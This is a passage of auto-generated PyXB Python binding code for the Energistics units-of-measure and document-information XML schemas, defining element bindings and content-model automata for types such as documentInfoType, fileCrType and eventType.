__modver._UseLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 294, 2) modver = property(__modver.value, __modver.set, None, None) _ElementMap.update({ __Name.name() : __Name, __QuantityType.name() : __QuantityType, __CatalogName.name() : __CatalogName, __CatalogSymbol.name() : __CatalogSymbol, __Display.name() : __Display, __BaseUnit.name() : __BaseUnit, __IsUnknown.name() : __IsUnknown, __ConversionToBaseUnit.name() : __ConversionToBaseUnit, __CompositeUnit.name() : __CompositeUnit }) _AttributeMap.update({ __id.name() : __id, __annotation.name() : __annotation, __modver.name() : __modver }) _module_typeBindings.unitDefinitionType = unitDefinitionType Namespace.addCategoryObject('typeBinding', 'unitDefinitionType', unitDefinitionType) DocumentInformation = pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'DocumentInformation'), documentInfoType, documentation='\nA standard name for an element of type documentInfoType. Other names may be \nused at the discretion of the developer.\n ', location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 24, 0)) Namespace.addCategoryObject('elementBinding', DocumentInformation.name().localName(), DocumentInformation) DocClasses = pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, '_DocClasses'), abstractFeatureType, abstract=pyxb.binding.datatypes.boolean(1), documentation='\nAn abstract element, to serve as a head for a substitution group. The \n_DocClasses is intended to handle any classification systems that a group\nwould model. It may be a simple substitution, or a container with many\nclasses contained in it.\n ', location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 35, 0)) Namespace.addCategoryObject('elementBinding', DocClasses.name().localName(), DocClasses) UnitOfMeasureDictionary = pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'UnitOfMeasureDictionary'), CTD_ANON, location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 24, 0)) Namespace.addCategoryObject('elementBinding', UnitOfMeasureDictionary.name().localName(), UnitOfMeasureDictionary) documentInfoType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, '_DocClasses'), abstractFeatureType, abstract=pyxb.binding.datatypes.boolean(1), scope=documentInfoType, documentation='\nAn abstract element, to serve as a head for a substitution group. The \n_DocClasses is intended to handle any classification systems that a group\nwould model. It may be a simple substitution, or a container with many\nclasses contained in it.\n ', location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 35, 0))) documentInfoType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'DocumentName'), identifierType, scope=documentInfoType, documentation='\nAn identifier for the document. This is intended to be unique within the \ncontext of the NamingSystem.\n ', location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 56, 2))) documentInfoType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'DocumentAlias'), identifierType, scope=documentInfoType, documentation='\nZero or more alternate names for the document. These names do not need to be\nunique within the naming system.\n ', location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 64, 2))) documentInfoType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'DocumentDate'), pyxb.binding.datatypes.date, scope=documentInfoType, documentation='\nThe date of the creation of the document. This is not the same as the date\nthat the file was created. For this date, the document is considered to be\nthe set of information associated with this document information.\nFor example, the document may be a seismic binset. This represents the date\nthat the binset was created. The FileCreation information would capture the\ndate that the XML file was created to send or exchange the binset.\n ', location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 72, 2))) documentInfoType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'FileCreationInformation'), fileCrType, scope=documentInfoType, documentation='\nThe information about the creation of the exchange file. This is not about\nthe creation of the data within the file, but the creation of the file itself.\n ', location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 93, 2))) documentInfoType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'SecurityInformation'), securityInfoType, scope=documentInfoType, documentation='\nInformation about the security to be applied to this file. More than one\nclassification can be given.\n ', location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 101, 2))) documentInfoType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'Disclaimer'), pyxb.binding.datatypes.string, scope=documentInfoType, documentation='\nA free-form string that allows a disclaimer to accompany the information.\n ', location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 109, 2))) documentInfoType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'AuditTrail'), auditType, scope=documentInfoType, documentation='\nA collection of events that can document the history of the data.\n ', location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 116, 2))) documentInfoType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'DataOwnerRef'), referenceToType, scope=documentInfoType, location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 131, 4))) documentInfoType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'DataOwnerID'), pyxb.binding.datatypes.string, scope=documentInfoType, location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 132, 4))) documentInfoType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'Comment'), pyxb.binding.datatypes.string, scope=documentInfoType, documentation='\nAn optional comment about the document.\n ', location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 134, 2))) def _BuildAutomaton (): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton del _BuildAutomaton import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 64, 2)) counters.add(cc_0) cc_1 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 72, 2)) counters.add(cc_1) cc_2 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 84, 2)) counters.add(cc_2) cc_3 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 93, 2)) counters.add(cc_3) cc_4 = fac.CounterCondition(min=0, max=5, metadata=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 101, 2)) counters.add(cc_4) cc_5 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 109, 2)) counters.add(cc_5) cc_6 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 116, 2)) counters.add(cc_6) cc_7 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 123, 2)) counters.add(cc_7) cc_8 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 134, 2)) counters.add(cc_8) states = [] final_update = set() symbol = pyxb.binding.content.ElementUse(documentInfoType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'DocumentName')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 56, 2)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) symbol = pyxb.binding.content.ElementUse(documentInfoType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'DocumentAlias')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 64, 2)) st_1 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_1) final_update = set() final_update.add(fac.UpdateInstruction(cc_1, False)) symbol = pyxb.binding.content.ElementUse(documentInfoType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'DocumentDate')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 72, 2)) st_2 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_2) final_update = set() final_update.add(fac.UpdateInstruction(cc_2, False)) symbol = pyxb.binding.content.ElementUse(documentInfoType._UseForTag(pyxb.namespace.ExpandedName(Namespace, '_DocClasses')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 84, 2)) st_3 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_3) final_update = set() final_update.add(fac.UpdateInstruction(cc_3, False)) symbol = pyxb.binding.content.ElementUse(documentInfoType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'FileCreationInformation')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 93, 2)) st_4 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_4) final_update = set() final_update.add(fac.UpdateInstruction(cc_4, False)) symbol = pyxb.binding.content.ElementUse(documentInfoType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'SecurityInformation')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 101, 2)) st_5 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_5) final_update = set() final_update.add(fac.UpdateInstruction(cc_5, False)) symbol = pyxb.binding.content.ElementUse(documentInfoType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'Disclaimer')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 109, 2)) st_6 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_6) final_update = set() final_update.add(fac.UpdateInstruction(cc_6, False)) symbol = pyxb.binding.content.ElementUse(documentInfoType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'AuditTrail')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 116, 2)) st_7 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_7) final_update = set() final_update.add(fac.UpdateInstruction(cc_7, False)) symbol = pyxb.binding.content.ElementUse(documentInfoType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'DataOwnerRef')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 131, 4)) st_8 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_8) final_update = set() final_update.add(fac.UpdateInstruction(cc_7, False)) symbol = pyxb.binding.content.ElementUse(documentInfoType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'DataOwnerID')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 132, 4)) st_9 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_9) final_update = set() final_update.add(fac.UpdateInstruction(cc_8, False)) symbol = pyxb.binding.content.ElementUse(documentInfoType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'Comment')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 134, 2)) st_10 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_10) transitions = [] transitions.append(fac.Transition(st_1, [ ])) transitions.append(fac.Transition(st_2, [ ])) transitions.append(fac.Transition(st_3, [ ])) transitions.append(fac.Transition(st_4, [ ])) transitions.append(fac.Transition(st_5, [ ])) transitions.append(fac.Transition(st_6, [ ])) transitions.append(fac.Transition(st_7, [ ])) transitions.append(fac.Transition(st_8, [ ])) transitions.append(fac.Transition(st_9, [ ])) transitions.append(fac.Transition(st_10, [ ])) st_0._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_0, True) ])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_9, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_10, [ fac.UpdateInstruction(cc_0, False) ])) st_1._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_1, True) ])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_1, False) ])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_1, False) ])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_1, False) ])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_1, False) ])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_1, False) ])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_1, False) ])) transitions.append(fac.Transition(st_9, [ fac.UpdateInstruction(cc_1, False) ])) transitions.append(fac.Transition(st_10, [ fac.UpdateInstruction(cc_1, False) ])) st_2._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_2, True) ])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_2, False) ])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_2, False) ])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_2, False) ])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_2, False) ])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_2, False) ])) transitions.append(fac.Transition(st_9, [ fac.UpdateInstruction(cc_2, False) ])) transitions.append(fac.Transition(st_10, [ fac.UpdateInstruction(cc_2, False) ])) st_3._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_3, True) ])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_3, False) ])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_3, False) ])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_3, False) ])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_3, False) ])) transitions.append(fac.Transition(st_9, [ fac.UpdateInstruction(cc_3, False) ])) transitions.append(fac.Transition(st_10, [ fac.UpdateInstruction(cc_3, False) ])) st_4._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_4, True) ])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_4, False) ])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_4, False) ])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_4, False) ])) transitions.append(fac.Transition(st_9, [ fac.UpdateInstruction(cc_4, False) ])) transitions.append(fac.Transition(st_10, [ fac.UpdateInstruction(cc_4, False) ])) st_5._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_5, True) ])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_5, False) ])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_5, False) ])) transitions.append(fac.Transition(st_9, [ fac.UpdateInstruction(cc_5, False) ])) transitions.append(fac.Transition(st_10, [ fac.UpdateInstruction(cc_5, False) ])) st_6._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_6, True) ])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_6, False) ])) transitions.append(fac.Transition(st_9, [ fac.UpdateInstruction(cc_6, False) ])) transitions.append(fac.Transition(st_10, [ fac.UpdateInstruction(cc_6, False) ])) st_7._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_7, True) ])) transitions.append(fac.Transition(st_9, [ fac.UpdateInstruction(cc_7, True) ])) transitions.append(fac.Transition(st_10, [ fac.UpdateInstruction(cc_7, False) ])) st_8._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_7, True) ])) transitions.append(fac.Transition(st_9, [ fac.UpdateInstruction(cc_7, True) ])) transitions.append(fac.Transition(st_10, [ fac.UpdateInstruction(cc_7, False) ])) st_9._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_10, [ fac.UpdateInstruction(cc_8, True) ])) st_10._set_transitionSet(transitions) return fac.Automaton(states, counters, False, containing_state=None) documentInfoType._Automaton = _BuildAutomaton() fileCrType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'FileCreationDate'), expandedDateTime, scope=fileCrType, documentation='\nThe date and/or time that the file was created.\n ', location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 153, 2))) fileCrType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'SoftwareName'), pyxb.binding.datatypes.string, scope=fileCrType, documentation='\nIf appropriate, the software that created the file. This is a free form\nstring, and may include whatever information is deemed relevant.\n ', location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 160, 2))) fileCrType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'FileCreator'), pyxb.binding.datatypes.string, scope=fileCrType, documentation='\nThe person or business associate that created the file. This is a free\nform string.\n ', location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 168, 2))) fileCrType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'Comment'), pyxb.binding.datatypes.string, scope=fileCrType, documentation='\nAny comment that would be useful to further explain the creation of this\ninstance document.\n ', location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 176, 2))) def _BuildAutomaton_ (): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_ del _BuildAutomaton_ import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 160, 2)) counters.add(cc_0) cc_1 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 168, 2)) counters.add(cc_1) cc_2 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 176, 2)) counters.add(cc_2) states = [] final_update = set() symbol = pyxb.binding.content.ElementUse(fileCrType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'FileCreationDate')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 153, 2)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) symbol = pyxb.binding.content.ElementUse(fileCrType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'SoftwareName')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 160, 2)) st_1 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_1) final_update = set() final_update.add(fac.UpdateInstruction(cc_1, False)) symbol = pyxb.binding.content.ElementUse(fileCrType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'FileCreator')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 168, 2)) st_2 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_2) final_update = set() final_update.add(fac.UpdateInstruction(cc_2, False)) symbol = pyxb.binding.content.ElementUse(fileCrType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'Comment')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 176, 2)) st_3 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_3) transitions = [] transitions.append(fac.Transition(st_1, [ ])) transitions.append(fac.Transition(st_2, [ ])) transitions.append(fac.Transition(st_3, [ ])) st_0._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_0, True) ])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_0, False) ])) st_1._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_1, True) ])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_1, False) ])) st_2._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_2, True) ])) st_3._set_transitionSet(transitions) return fac.Automaton(states, counters, False, containing_state=None) fileCrType._Automaton = _BuildAutomaton_() securityInfoType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'Class'), pyxb.binding.datatypes.string, scope=securityInfoType, documentation='\nThe security class in which this document is classified. Examples would \nbe confidential, partner confidential, tight. The meaning of the class is\ndetermined by the System in which it is defined.\n ', location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 200, 2))) securityInfoType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'System'), pyxb.binding.datatypes.string, scope=securityInfoType, documentation='\nThe security classification system. This gives context to the meaning of the\nClass value.\n ', location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 209, 2))) securityInfoType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'EndDate'), expandedDateTime, scope=securityInfoType, documentation='\nThe date on which this security class is no longer applicable.\n ', location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 217, 2))) securityInfoType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'Comment'), pyxb.binding.datatypes.string, scope=securityInfoType, documentation='\nA general comment to further define the security class.\n ', location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 224, 2))) def _BuildAutomaton_2 (): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_2 del _BuildAutomaton_2 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 209, 2)) counters.add(cc_0) cc_1 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 217, 2)) counters.add(cc_1) cc_2 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 224, 2)) counters.add(cc_2) states = [] final_update = set() symbol = pyxb.binding.content.ElementUse(securityInfoType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'Class')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 200, 2)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) symbol = pyxb.binding.content.ElementUse(securityInfoType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'System')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 209, 2)) st_1 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_1) final_update = set() final_update.add(fac.UpdateInstruction(cc_1, False)) symbol = pyxb.binding.content.ElementUse(securityInfoType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'EndDate')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 217, 2)) st_2 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_2) final_update = set() final_update.add(fac.UpdateInstruction(cc_2, False)) symbol = pyxb.binding.content.ElementUse(securityInfoType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'Comment')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 224, 2)) st_3 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_3) transitions = [] transitions.append(fac.Transition(st_1, [ ])) transitions.append(fac.Transition(st_2, [ ])) transitions.append(fac.Transition(st_3, [ ])) st_0._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_0, True) ])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_0, False) ])) st_1._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_1, True) ])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_1, False) ])) st_2._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_2, True) ])) st_3._set_transitionSet(transitions) return fac.Automaton(states, counters, False, containing_state=None) securityInfoType._Automaton = _BuildAutomaton_2() auditType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'Event'), eventType, scope=auditType, location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 242, 2))) def _BuildAutomaton_3 (): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_3 del _BuildAutomaton_3 import pyxb.utils.fac as fac counters = set() states = [] final_update = set() symbol = pyxb.binding.content.ElementUse(auditType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'Event')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 242, 2)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) transitions = [] transitions.append(fac.Transition(st_0, [ ])) st_0._set_transitionSet(transitions) return fac.Automaton(states, counters, False, containing_state=None) auditType._Automaton = _BuildAutomaton_3() eventType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'EventDate'), expandedDateTime, scope=eventType, documentation='\nThe date on which the event took place.\n ', location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 254, 2))) eventType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'ResponsiblePartyRef'), referenceToType, scope=eventType, location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 269, 3))) eventType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'ResponsiblePartyID'), pyxb.binding.datatypes.string, scope=eventType, location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 270, 3))) eventType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'Comment'), pyxb.binding.datatypes.string, scope=eventType, documentation='\nA free form comment that can further define the event that occurred.\n ', location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 272, 2))) def _BuildAutomaton_4 (): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_4 del _BuildAutomaton_4 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 261, 2)) counters.add(cc_0) states = [] final_update = None symbol = pyxb.binding.content.ElementUse(eventType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'EventDate')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 254, 2)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = None symbol = pyxb.binding.content.ElementUse(eventType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'ResponsiblePartyRef')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 269, 3)) st_1 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_1) final_update = None symbol = pyxb.binding.content.ElementUse(eventType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'ResponsiblePartyID')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 270, 3)) st_2 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_2) final_update = set() symbol = pyxb.binding.content.ElementUse(eventType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'Comment')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 272, 2)) st_3 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_3) transitions = [] transitions.append(fac.Transition(st_1, [ ])) transitions.append(fac.Transition(st_2, [ ])) transitions.append(fac.Transition(st_3, [ ])) st_0._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_0, True) ])) 